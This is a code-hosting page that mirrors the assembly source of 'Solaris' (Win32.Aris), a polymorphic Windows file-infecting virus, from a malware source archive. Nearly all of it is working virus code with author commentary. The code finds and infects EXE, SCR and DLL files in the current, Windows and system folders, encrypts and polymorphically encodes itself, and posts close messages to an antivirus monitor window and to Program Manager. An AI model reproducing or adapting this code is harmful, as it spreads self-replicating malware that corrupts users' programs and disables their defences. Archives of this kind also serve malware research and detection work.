ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-30 15:05:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
c503e6d7d0
MalwareSourceCode/Win32/Infector/Win32.Aris.asm

1978 lines
60 KiB
NASM
Raw Normal View History

Add files via upload
2020-10-11 03:07:43 +00:00
;
; Solaris (AKA Win32.Aris)
; coded by Bumblebee
; ---------------------------------------------------------------------
;
; Contents
;
; 1. Disclaimer
; 2. Introduction
; 3. Virus overview
; 4. BSEE review
;
;
; [1] DISCLAIMER
;
; This is the source code of a VIRUS. The author is not responsabile of
; any damage that may occur due to the assembly of this file. Use it at
; your own risk.
;
;
; [2] INTRODUCTION
;
; Each time i see Plage 2000 itw and i hear ppl like my worms i feel
; sad, coz those bugs didn't made me think at all. Them're kinda a toy
; i coded fast and easily. So i liked to code something complex with
; Solaris. Just to prove myself i can do other things but worms.
; My late viruses are kinda experimental and outta lab them won't be
; able to spread so far. So this is my way back to the bussiness and
; the so called *serious things*.
; The name of this virus is a a lil tribute to the magician of hard
; sci-fi, Stanislav Lem, and his great book Solaris. Just think Ursula
; Le Guin calls him master of imagination (together with J. L. Borges,
; another great monster).
; Well, i suppose retarded avers will call it as it goes out from their
; ass. Doesn't matter, let's call it Solaris :)
; As well as the planet in the book, you won't be able to understand
; Solaris easily (at least i hope so).
;
;
; [3] VIRUS OVERVIEW
;
; It's a polymorphic win32 direct action PE infector that infects EXE,
; SCR and DLL files form current, windows and system folders. Due the
; generated poly code it's very huge and its generation is complex the
; virus behavior has been setup for being a slow infector. It's better
; to have a slow infector than suddenly to have a slow computer. The
; generated poly code includes also the virus code coz the virus is
; pushed into the stack and executed there. That's main reason it's not
; a big virus, we cannot use too much stack (remember DLL are also
; infected by the virus, you should know the consequences).
; Both poly engine and the fact it must be fully relocatable to infect
; DLLs is not easy task. DLL infection makes the virus able to spread
; faster as many DLLs are infected. But again that makes the comp slow
; coz there are several virus instances working at the same time. I've
; used shared files by name to avoid that in a kinda successfuly way.
; Even the virus has other features, eg. 2nd non-poly encryption layer,
; its most interesting features come from the not usual poly engine and
; the DLL infection (very annoying).
;
; The source is full commented. I hope i've introduced Solaris.
;
;
; [4] BSEE REVIEW
;
; Here i include an host increased size review (BSEE with Solaris test
; version size 3420, final sample is about 4kbs):
;
; target: ping.exe (OS Win98 4.10.1998)
; original size: 28.672 bytes
; object/file align: 1000h/1000h
; virus padding: 101
; samples infected: 52
;
; Note: 1st gen infected 1st sample. Sample j was infected by j-1
; sample.
;
; Frequency tabulation for infected samples with RECLEVEL 6
;
; size freq. Cu. freq. increase
; ----------------------------------------------
; 61.509 02 02 32.837
; 65.549 22 24 36.877
; 69.690 22 46 41.018
; 73.730 06 52 45.058
; ----------------------------------------------
; average final size: 68.093
; average increased size: 39.417
;
; We can see how median is very close to average. So even samples have
; variable size, that size fits in a normal distribution. Kewl test for
; a random number generator :)
; At one hand we have than PE aligment makes us lose some of the sense
; of the test, but at other hand since we will manage aligned files nor
; true poly size... that fact doesn't matters for the test.
; Gen codes have very variable size but due PE aligment issues we only
; see 4 different file sizes.
;
;
; The way of the bee
;
.486p
locals
jumps
.model flat,STDCALL
extrn ExitProcess:PROC ; required for 1st gen
extrn MessageBoxA:PROC
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
; about 1st gen:
; as you'll see i use lot of tricks to make 1st gen run. that's due
; the way the virus executes is quite *anti-natural*
; to sum up: 1st gen emulates the execution in the stack
; notice there is required the write attrib in the code section
; but in next generations it won't be necessary.
vSize equ vEnd-vBegin
PADDING equ 101
MAXPATH equ 160
RECLEVEL equ 6 ; poly engine's top
; recursive level
.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'
.CODE
inicio:
vBegin label byte
jmp setupVirus ; make some init
nop ; nops for size fit with
nop ; code to restore
nop
nop
nop
; Following code will be put instead jmp setupVirus and nops
; after init process...
;
; sub esp,8
; mov esi,dword ptr [esp+vSize+28h] ; get value from stack
; to guess K32 addr
call decrypt ; decrypt layer
rtdelta:
jmp beginEncLayer
decrypt:
; simple encryption layer
mov eax,12345678h
encKey equ $-4
mov edi,dword ptr [esp]
sub edi,offset rtdelta
lea edi,beginEncLayer+edi
mov ecx,(vEnd-beginEncLayer)/4
encodeLayer:
xor dword ptr [edi],eax
sub edi,-4
loop encodeLayer
ret
beginEncLayer:
call getDelta ; get delta offset
; we have a great problem with relocatable code
; coz we cannot rely in relative jmps due we don't
; know where is running the virus (stack? tmp mem? uh?)
; and we cannot do standard trick of checking displacement
; of virus ep relative to calculated values at infection
; time due the same shit. So, what's the solution?
; we calc delta offset for host, pushing in the stack
; the addr of the jmp esp into the poly code ;)
; it's not simple at all, but works.
;
mov edx,dword ptr [esp] ; get the ret addr
sub edx,dword ptr [esp+4h] ; sub calculated addr
; reloc data will be calculated at infection time as:
; virus enc virt addr + virus encoded size + push size + call size
add dword ptr [hostEP+ebp],edx ; fix host ep addr
; as result we can infect relocatable hosts ;)
xor edx,edx
lea eax,dword ptr [esp-8h] ; setup SEH frame
xchg eax,dword ptr fs:[edx]
call pushExceptionCodeAddr
xor eax,eax ; restore all
mov eax,dword ptr fs:[eax]
mov esp,dword ptr [eax]
xor eax,eax ; and remove frame
pop dword ptr fs:[eax]
pop eax
jmp returnHost ; go back host
pushExceptionCodeAddr:
push eax
GetKernelLoop: ; look for kernel32.dll
cmp word ptr [esi],'ZM'
jne GetKernel32NotFound
mov dx,word ptr [esi+3ch]
cmp esi,dword ptr [esi+edx+34h]
je GetKernel32Found
GetKernel32NotFound:
dec esi
jmp GetKernelLoop
GetKernel32Found:
xor eax,eax ; remove SEH
pop dword ptr fs:[eax]
pop eax
; now get APIs using CRC32 (esi has k32 addr)
mov edi,esi
mov esi,dword ptr [esi+3ch]
add esi,edi
mov esi,dword ptr [esi+78h]
add esi,edi
add esi,1ch
lodsd
add eax,edi
mov dword ptr [address+ebp],eax
lodsd
add eax,edi
mov dword ptr [names+ebp],eax
lodsd
add eax,edi
mov dword ptr [ordinals+ebp],eax
sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp
searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,edi
push eax edx edi
xor edi,edi
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edi edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je returnHost
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,edi
mov dword ptr [eax+5],ecx
add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl
; API search done
; here follows a nice trick ;)
;
; this is a reentrance lock to avoid multiple
; instances of the virus running in the same process due:
; - multithreading
; - dll
; - epo
; - re-exec host (no really same process, but that's
; not allowed due as side effect of the trick)
;
; i use the random object name generated at infection time
; to create a named file mapping object. the name is 10
; char long and contains only numbers: '0'...'9'
;
; that allows multiples instances of the virus, but not in
; the same process... in this way we avoid overload the process
; (eg. each virus instance allocs memory and the viral
; activity itself and ...) and problems due virus-in-host
; exclusive behavior
;
xor eax,eax
lea esi,fileMappingObj+ebp
push esi
push 1024 ; bah, size doesn't
push eax ; matter :) hehehe
push 00000004h
push eax
dec eax
push eax
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz returnHost
call dword ptr [_GetLastError+ebp]
cmp eax,0b7h ; already executed?
je returnHost
; alloc some memory to build there the virus sample used
; to infect and to store the virus body sample that will be
; executed there...
; Alloc aproximation of virus required buffer
push 00000004h
push 00001000h OR 00002000h
push (vSize*2+vSize*3*RECLEVEL+MAXPATH*2)
; due the poly generated
push 0h ; code is recursive i don't
call dword ptr [_VirtualAlloc+ebp] ; know 100% the max size
or eax,eax ; (and i'm lazy to look for
jz returnHost ; worst case)
mov dword ptr [virusSample+ebp],eax
; fix the return host addr to be used in memory
mov edx,dword ptr [hostEP+ebp]
mov dword ptr [inMemH+ebp],edx
cld
lea esi,vBegin+ebp ; copy virus to tmp mem
mov edi,eax
mov ecx,vSize
rep movsb
add eax,inMemory-vBegin
push eax
ret ; goto mem copy
returnHost: ; return control to host
add esp,vSize+8 ; fix stack
popad
push offset fakeHost ; saved host EP
hostEP equ $-4
ret
inMemory:
add esp,vSize+8 ; fix stack
popad
push 12345678h
inMemH equ $-4
pushad
; here we are running in tmp memory
; and we've fixed the stack. From here to end of virus
; we cannot jmp returnHost. Use IMReturnHost instead.
; the return address of the host with relocation fix
; is yet in the stack so a simple ret will bring us back host
call getDelta ; get delta offset again
; get non k32 apis
; 1st load IMGAGEHLP.DLL
xor eax,eax
mov dword ptr [_CheckSumMappedFile+ebp],eax
lea eax,imagehlpdllStr+ebp
push eax
call dword ptr [_LoadLibraryA+ebp]
mov dword ptr [imagehlpdllHnd+ebp],eax
or eax,eax
jz imagehlpdllError
; get API for updating PE checksum
lea esi,CheckSumMappedFileStr+ebp
push esi
push eax
call dword ptr [_GetProcAddress+ebp]
mov dword ptr [_CheckSumMappedFile+ebp],eax
imagehlpdllError:
; 2nd load SFC.DLL
xor eax,eax
mov dword ptr [_SfcIsFileProtected+ebp],eax
lea eax,sfcdllStr+ebp
push eax
call dword ptr [_LoadLibraryA+ebp]
mov dword ptr [sfcdllHnd+ebp],eax
or eax,eax
jz sfcdllError
; get API for avoid infect SFC protected files
lea esi,SfcIsFileProtectedStr+ebp
push esi
push eax
call dword ptr [_GetProcAddress+ebp]
mov dword ptr [_SfcIsFileProtected+ebp],eax
sfcdllError:
; 3rd load USER32.DLL
lea eax,user32dllStr+ebp
push eax
call dword ptr [_LoadLibraryA+ebp]
or eax,eax
jz user32dllError
mov dword ptr [user32dllHnd+ebp],eax
; get API needed for payload (and to fuck avp monitor)
lea esi,FindWindowAStr+ebp
push esi
push eax
call dword ptr [_GetProcAddress+ebp]
or eax,eax
jz user32dllErrorFree
mov dword ptr [_FindWindowA+ebp],eax
lea esi,PostMessageAStr+ebp
push esi
push dword ptr [user32dllHnd+ebp]
call dword ptr [_GetProcAddress+ebp]
or eax,eax
jz user32dllErrorFree
mov dword ptr [_PostMessageA+ebp],eax
; check payload activation
lea eax,fileTime0+ebp
push eax
call dword ptr [_GetSystemTime+ebp]
lea esi,fileTime0+ebp
mov ax,word ptr [esi+2]
mov dx,-1
month equ $-2
cmp dx,ax ; right month?
jne skipPayload
mov ax,word ptr [esi+4]
mov dx,-1
dayOfWeek equ $-2
cmp dx,ax ; right day of week?
jne skipPayload
lea esi,payloadStr+ebp ; well, close program
jmp disableMON ; manager ;)
; it's really harmless, only annoying you won't
; be able to use Program Manager for about 4 days
; in a month... hehehe
; ok, just update payload values for next infections
skipPayload:
mov ax,word ptr [esi+4]
mov word ptr [dayOfWeek+ebp],ax ; same day
mov ax,word ptr [esi+2] ; wait 6 months
add ax,6 ; to trigger
cmp ax,12
jbe notFixMonth
sub ax,12
notFixMonth:
mov word ptr [month+ebp],ax
; if today is not the party, just try to close avp
; monitor usign its window's name
lea esi,avStr+ebp
disableMON:
push esi
xor eax,eax
push eax
call dword ptr [_FindWindowA+ebp]
or eax,eax
jz user32dllErrorFree
mov edx,eax
xor eax,eax
push eax
push eax
push 00000012h
push edx
call dword ptr [_PostMessageA+ebp]
user32dllErrorFree:
push dword ptr [user32dllHnd+ebp]
call dword ptr [_FreeLibrary+ebp]
user32dllError:
; setup seed of random number generator
call randomize
; setup path buffers
mov eax,dword ptr [virusSample+ebp]
add eax,(vSize*2+vSize*3*RECLEVEL)
mov dword ptr [path0+ebp],eax
add eax,MAXPATH
mov dword ptr [path1+ebp],eax
mov byte ptr [infCount+ebp],3 ; infect 3 files
call scanFolder
; get current directory
push dword ptr [path0+ebp]
push MAXPATH
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz IMReturnHost
push MAXPATH ; get windows directory
push dword ptr [path1+ebp]
call dword ptr [_GetWindowsDirectoryA+ebp]
or eax,eax
jz IMReturnHost
; goto windows directory
push dword ptr [path1+ebp]
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz IMReturnHost
mov byte ptr [infCount+ebp],2 ; infect 2 files
call scanFolder
push MAXPATH ; get system directory
push dword ptr [path1+ebp]
call dword ptr [_GetSystemDirectoryA+ebp]
or eax,eax
jz goHomeDir
; goto system directory
push dword ptr [path1+ebp]
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz goHomeDir
mov byte ptr [infCount+ebp],5 ; infect 5 files
call scanFolder
goHomeDir:
; go home directory
push dword ptr [path0+ebp]
call dword ptr [_SetCurrentDirectoryA+ebp]
IMReturnHost:
; free non k32 dlls
; free IMAGEHLP.DLL
mov eax,dword ptr [imagehlpdllHnd+ebp]
or eax,eax
jz imagehlpdllFreed
push eax
call dword ptr [_FreeLibrary+ebp]
imagehlpdllFreed:
; free SFL.DLL
mov eax,dword ptr [sfcdllHnd+ebp]
or eax,eax
jz sfcdllFreed
push eax
call dword ptr [_FreeLibrary+ebp]
sfcdllFreed:
popad
ret
;
; Scan current folder for EXE, SCR and DLL files suitable for infect
;
; Why not to infect CPL files?
;
; 1. Them doesn't go any plaze, and for system prevaleance we have
; SCR, EXE and DLL.
; 2. CPL are strange DLL that sometimes play with 16 bits shit. Take
; as example desk.cpl under win9x: it's infection is quite unestable.
;
; Notice DLL is its main way for spreading, indeed all features of a
; direct action infector are also available.
;
scanFolder:
pushad
lea eax,find_data+ebp
push eax
lea eax,fndMask+ebp
push eax
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz notFound
dec eax
mov dword ptr [findHnd+ebp],eax
findNext:
; avoid hugah files
mov eax,dword ptr [find_data.nFileSizeHigh+ebp]
or eax,eax
jnz skipThisFile
; check size padding
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
mov ecx,PADDING
xor edx,edx
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile
lea esi,find_data.cFileName+ebp
; get extension
lookEndStr:
inc esi
cmp byte ptr [esi],0
jne lookEndStr
; skip shit
cmp byte ptr [esi-1],'"'
jne notShitInFilename
dec esi
notShitInFilename:
mov eax,dword ptr [esi-4]
mov dword ptr [tmpExt+ebp],eax
; make ext upper case
lea esi,tmpExt+ebp
mov ecx,4
upCaseLoop:
cmp byte ptr [esi],'a'
jb notChangeLetter
cmp byte ptr [esi],'z'
ja notChangeLetter
sub byte ptr [esi],'a'-'A'
notChangeLetter:
inc esi
loop upCaseLoop
mov eax,dword ptr [tmpExt+ebp]
not eax
; check has a valid extension
cmp eax,NOT 'LLD.'
je validExt
cmp eax,NOT 'EXE.'
je validExt
cmp eax,NOT 'RCS.'
jne skipThisFile
validExt:
; try to infect it
lea esi,find_data.cFileName+ebp
call infect
; reached max infections?
cmp byte ptr [infCount+ebp],0
je endScan
skipThisFile:
lea eax,find_data+ebp
push eax
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp]
or eax,eax
jnz findNext
endScan:
push dword ptr [findHnd+ebp]
call dword ptr [_FindClose+ebp]
notFound:
popad
ret
;
; in: esi filename to infect (not save regs)
;
infect:
pushad
; check if SFC is available
mov eax,dword ptr [_SfcIsFileProtected+ebp]
or eax,eax
jz nonSfcProtectedFile
push esi ; save filename
xor eax,eax
push esi
push eax
call dword ptr [_SfcIsFileProtected+ebp]
pop esi ; restore filename
or eax,eax
jz nonSfcProtectedFile
jmp infectionError
nonSfcProtectedFile:
push esi ; save filename
push esi
call dword ptr [_GetFileAttributesA+ebp]
pop esi ; restore filename
inc eax
jz infectionError
dec eax
mov dword ptr [fileAttrib+ebp],eax ; save attributes
push esi ; save filename
push 00000080h ; clear file attributes
push esi
call dword ptr [_SetFileAttributesA+ebp]
pop esi ; restore filename
or eax,eax
jz infectionError
push esi ; save filename
xor eax,eax
push eax
push 00000080h
push 00000003h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp] ; open file
inc eax
jz infectionErrorAttrib
dec eax
mov dword ptr [fHnd+ebp],eax ; save handle
push 0h
push eax
call dword ptr [_GetFileSize+ebp] ; get filesize
inc eax
jz infectionErrorClose
dec eax
mov dword ptr [fileSize+ebp],eax
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_GetFileTime+ebp] ; get file date/time
or eax,eax
jz infectionErrorClose
xor eax,eax
push eax
push eax
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp] ; create a file map obj
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax ; save handle
xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp] ; map a view for the obj
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax ; save addr
mov edi,eax
cmp word ptr [edi],'ZM' ; check exe
jne infectionErrorCloseUnmap
cmp dword ptr [edi+18h],3ah ; check PE sign
jb infectionErrorCloseUnmap
add edi,dword ptr [edi+3ch]
cmp word ptr [edi],'EP'
jne infectionErrorCloseUnmap
movzx edx,word ptr [edi+16h] ; check executable
test edx,2h
jz infectionErrorCloseUnmap
; if we failed to get the API to update pe checksum just
; avoid infect dll files
mov eax,dword ptr [_CheckSumMappedFile+ebp]
or eax,eax
jnz dllAreOk
test edx,2000h ; check not DLL
jnz infectionErrorCloseUnmap
dllAreOk:
movzx edx,word ptr [edi+5ch]
dec edx ; check not native
jz infectionErrorCloseUnmap
cmp word ptr [edi+1ch],0 ; has code? that's important
je infectionErrorCloseUnmap ; remember dll with only
; resources
mov esi,edi ; save begin PE hdr
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax ; goto 1st section
mov cx,word ptr [esi+06h] ; now to last sect
dec cx
mov eax,28h
mul cx
add edi,eax
mov ecx,dword ptr [edi+14h] ; phys offset
add ecx,dword ptr [edi+10h] ; phys size
cmp ecx,dword ptr [fileSize+ebp] ; avoid not nice files
jne infectionErrorCloseUnmap ; also avoid reinfect files
; following code has no sense with READ attrib only required
; in last section. we rely in size padding.
;
; check sect properties to see if probably infected yet
; mov eax,dword ptr [edi+24h]
; and eax,00000020h OR 20000000h OR 40000000h
; cmp eax,00000020h OR 20000000h OR 40000000h
; je infectionErrorCloseUnmap
mov eax,dword ptr [edi+0ch] ; sect RVA
add eax,dword ptr [edi+10h] ; phys size
xchg eax,dword ptr [esi+28h] ; put ep and get old
add eax,dword ptr [esi+34h] ; add image base
mov dword ptr [hostEP+ebp],eax ; save it
xor eax,eax
mov dword ptr [esi+58h],eax ; zero PE checksum
; will be updated later
; if all goes fine
; usually: CODE, EXECUTE and READ
; or dword ptr [edi+24h],00000020h OR 20000000h OR 40000000h
; only READ flag needed (CODE and EXEC are not required)
or dword ptr [edi+24h],40000000h
; not discardable and not shareable
and dword ptr [edi+24h],NOT (02000000h OR 10000000h)
; create a virus sample for this host
mov eax,dword ptr [esi+28h]
add eax,dword ptr [esi+34h]
push eax ; virus ep
call infectionSample
mov dword ptr [genSize+ebp],eax ; save encoded size
push dword ptr [fileSize+ebp] ; save old file size
; eax has encoded size
mov edx,dword ptr [edi+10h]
sub dword ptr [fileSize+ebp],edx ; sub old phys size
add eax,dword ptr [edi+10h] ; calc new sect phys size
mov ecx,dword ptr [esi+3ch]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [edi+10h],eax
add dword ptr [fileSize+ebp],eax ; add new phys size
add eax,dword ptr [edi+0ch] ; calc new image size
mov ecx,dword ptr [esi+38h]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [esi+50h],eax
sub eax,dword ptr [edi+0ch] ; sub sect RVA
mov dword ptr [edi+08h],eax ; save sect new virt size
; now calc padding
mov eax,dword ptr [fileSize+ebp]
mov ecx,PADDING
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [padding+ebp],eax ; save new file size with
; padding added
pop dword ptr [ofileSize+ebp] ; get old file size
; now make file grow
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]
xor eax,eax
push eax
push dword ptr [padding+ebp]
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax
xor eax,eax
push dword ptr [padding+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax
; end the infection process just adding virus body
mov ecx,dword ptr [genSize+ebp]
mov esi,dword ptr [virusSample+ebp]
add esi,vSize*2
mov edi,eax
add edi,dword ptr [ofileSize+ebp]
rep movsb
mov ecx,dword ptr [padding+ebp] ; fill padding with
sub ecx,dword ptr [ofileSize+ebp] ; zeroes
sub ecx,dword ptr [genSize+ebp]
xor eax,eax
rep stosb
mov eax,dword ptr [_CheckSumMappedFile+ebp]
or eax,eax
jz skipCheckSumUpdate
lea eax,nchksum+ebp
push eax
lea eax,ochksum+ebp
push eax
push dword ptr [padding+ebp]
push dword ptr [mapMem+ebp]
call dword ptr [_CheckSumMappedFile+ebp]
or eax,eax
jz skipCheckSumUpdate
mov edx,dword ptr [nchksum+ebp] ; update checksum
mov dword ptr [eax+58h],edx
skipCheckSumUpdate:
dec byte ptr [infCount+ebp] ; another infection
infectionErrorCloseUnmap:
push dword ptr [mapMem+ebp] ; unmap view
call dword ptr [_UnmapViewOfFile+ebp]
infectionErrorCloseMap:
push dword ptr [fhmap+ebp] ; close map file obj
call dword ptr [_CloseHandle+ebp]
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp] ; restore date/time
call dword ptr [_SetFileTime+ebp]
infectionErrorClose:
push dword ptr [fHnd+ebp] ; close file
call dword ptr [_CloseHandle+ebp]
infectionErrorAttrib:
pop esi ; restore filename
push dword ptr [fileAttrib+ebp]
push esi ; restore attributes
call dword ptr [_SetFileAttributesA+ebp]
infectionError:
popad
ret
;
; DWORD infectionSample(DWORD push_val) (save regs)
;
; push_val: enc virus virt addr (virus ep)
; it's required to setup the push used for relocation stuff
; returns gen size
;
infectionSample:
push eax
pushad
; get a new crypt key
anotherKey:
push 0ffffffffh
call rndInRange
or eax,eax
jz anotherKey
mov dword ptr [encKey+ebp],eax
; gen a random filemapping Object name
lea esi,fileMappingObj+ebp
mov ecx,10
mov edi,ecx
getFileMappingObjName:
mov eax,10
push eax
call rndInRange
add al,'0'
cmp edi,eax ; ok, i rely in the rnd
je getFileMappingObjName ; generator, but... hehe
mov edi,eax
mov byte ptr [esi],al
inc esi
loop getFileMappingObjName
; copy virus
lea esi,vBegin+ebp
mov edi,esi
add edi,vSize
push edi
mov ecx,vSize
rep movsb
; encrypt it
pop edi
mov eax,dword ptr [encKey+ebp]
add edi,beginEncLayer-vBegin
mov ecx,(vEnd-beginEncLayer)/4
call encodeLayer
; now encode the virus
mov eax,dword ptr [virusSample+ebp]
add eax,vSize*2
push eax ; save begin of env vir
push eax
call encodeVirus
mov dword ptr [genSize+ebp],eax ; save enc vir size
pop edi ; restore begin enc vir
add edi,eax ; begin of jmp code
; setup push for reloc stuff
; encoded vir size
add eax,dword ptr [esp+28h] ; push_val
push eax ; save it
call GetReg ; get rnd reg
; get push reloc (bad)
pop edx ; mov reg32,imm32
push edi ; need to calc size
mov cl,al
push ecx
call AddMovREGIMM
pop ecx ; push reg32
push eax
call AddPushREG
pop eax ; free the reg
call FreeReg
pop edx
mov ebx,edi
sub ebx,edx
add ebx,5
add dword ptr [edx+1],ebx ; fix push reloc (good)
push ebx ; save size
mov al,0e8h ; call
stosb
xor eax,eax
stosd
push edi ; we need calc size again
;
; now we need to sub 8 to esp, do it poly
;
mov eax,12 ; get random reg
push eax
call rndInRange
cmp eax,_ESP ; skip esp reg
jne notFixRndReg0
inc eax
notFixRndReg0:
cmp eax,8 ; case reg 8,9,10,11
jb addPops0 ; it's spezial:
mov al,83h ; sub esp,8
stosb
mov ax,08c4h
stosw
jmp doneStack
addPops0:
mov cl,al
call AddPopREG ; add 1 pop reg32
mov eax,14 ; get random reg
push eax
call rndInRange
cmp eax,_ESP ; skip esp reg
jne notFixRndReg1
inc eax
notFixRndReg1:
cmp eax,8 ; 8,9,10,11,12,13 reg:
jb addPops1 ; sub esp,4
mov al,83h
stosb
mov ax,04c4h
stosw
jmp doneStack
addPops1:
mov cl,al
call AddPopREG ; add 1 pop reg32
doneStack:
mov ax,0e4ffh ; jmp esp
stosw
pop edx ; get old ptr pos
mov ebx,edi
sub ebx,edx ; cal new size
pop edx ; get old size
add edx,ebx ; total added size
add edx,dword ptr [genSize+ebp] ; plus encoded size
mov dword ptr [esp+20h],edx
popad
pop eax
retn 4
;
; DWORD randomize(VOID) (not save regs)
;
randomize:
call dword ptr [_GetTickCount+ebp]
imul eax,0C6EF3720h
add dword ptr [rseed+ebp],eax
ret
;
; DWORD rndInRange(DWORD range) (save regs)
;
rndInRange:
push eax
pushad
mov eax,87654321h
rseed equ $-4
imul eax,9E3779B9h
shr eax, 16
add dword ptr [rseed+ebp],eax
lea esi,rseed+ebp
mov edi,4
call CRC32
xor edx,edx
mov ecx,dword ptr [esp+28h]
div ecx
mov dword ptr [esp+20h],edx
popad
pop eax
retn 4
;
; VOID getDelta(VOID) (modifies ebp=delta offset)
;
getDelta:
call deltaOffset
; the virus identifier :)
virusId db '[ Solaris by Bumblebee ]'
deltaOffset:
pop ebp
sub ebp,offset virusId
ret
;
; in: esi addr src
; edi size of src
; out: eax crc32 of src
;
; (not save regs)
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;
; [BSEE] or
; Bumblebee's Stack Encoding Engine or
; Bumblebee's Solaris Encoding Engine ;)
;
; quite simple it encodes the virus into a poly code that pushes
; the whole virus in the stack. the relocation stuff is not
; added here, so you can use the engine just adding a jmp esp
; after the encoded virus (but notice the pushad!).
;
; it makes different operations with data being stored in the
; stack before being pushed.
;
; it doesn't adds garbage. the encoded virus is long and poly
; enought to not need garbage (IMHO). as i'm not a good poly
; coder, that's a kewl engine if we think what i used to code hehe
;
; returns the encoded size. the esp value is decreased by vSize
; and virus size must be dword aligned. 1st byte it's a pushad.
;
; DWORD encodeVirus(DWORD dest_addr) (returns size and saves regs)
;
encodeVirus:
push eax
pushad
; init register control
xor eax,eax
lea edi,RegStatus+ebp
mov ecx,8
rep stosb
mov byte ptr [RegStatus+ebp+_ESP],1
mov edi,dword ptr [esp+28h] ; get dest addr
mov eax,vSize
mov ecx,4
xor edx,edx
div ecx
mov ecx,eax ; dword's to encode
xor ebx,ebx ; to store size
mov esi,dword ptr [virusSample+ebp]
add esi,vSize*2
sub esi,4
mov al,60h ; 1st pushad
stosb
inc ebx
encodeVirus0:
; random encoding
mov eax,5 ; scheme for each dword
push eax
call rndInRange
cmp eax,1 ; 40%
je encRndAddSubReg
cmp eax,2
je encRndAddSubReg
cmp eax,3 ; 20%
je encRndPushReg
cmp eax,4 ; 20%
je encRndCmpRegImm
jmp encPushImm32 ; default 20%
;
; Polymorphic engine data
;
RegStatus db 8 dup(0) ; 1: used 0: free
WorkReg db 0 ; 0..7
RecursiveCoef dd 0 ; rec level in rec calls :P
;
; push imm32
;
encPushImm32:
mov al,68h ; push xxxxxxxxh
stosb ; store
std
lodsd ; get dword
cld
stosd ; store dword
add ebx,5 ; push + inm32 = 5 bytes
doLoop:
loop encodeVirus0
mov dword ptr [esp+20h],ebx ; set return value
popad
pop eax
retn 4
encRndAddSubReg:
push ecx ebx ; save loop and size
call addAddSubRegImm
pop ebx ecx ; restore regs
add ebx,eax ; add encoded size
jmp doLoop
;
; cmp reg,imm32
; <jmp: jb jnb je jne jbe ja js> op0
; jmp op1
;op0:
; [poly code to encode n dwords]
; jmp op2
;op1:
; [poly code to encode n dwords]
;op2:
;
; both options encode the same code but in different way
; it supports recursive calls, so [poly code to encode n dwords]
; can be generated also by this routine...
;
encRndCmpRegImm:
mov eax,RECLEVEL ; setup recursive coeff
push eax
call rndInRange
inc eax
mov byte ptr [RecursiveCoef+ebp],al
push ecx ebx ; save loop and size
call addRndCmpRegImm
pop ebx ecx ; restore regs
jc encRndAddSubReg
add ebx,eax ; add encoded size
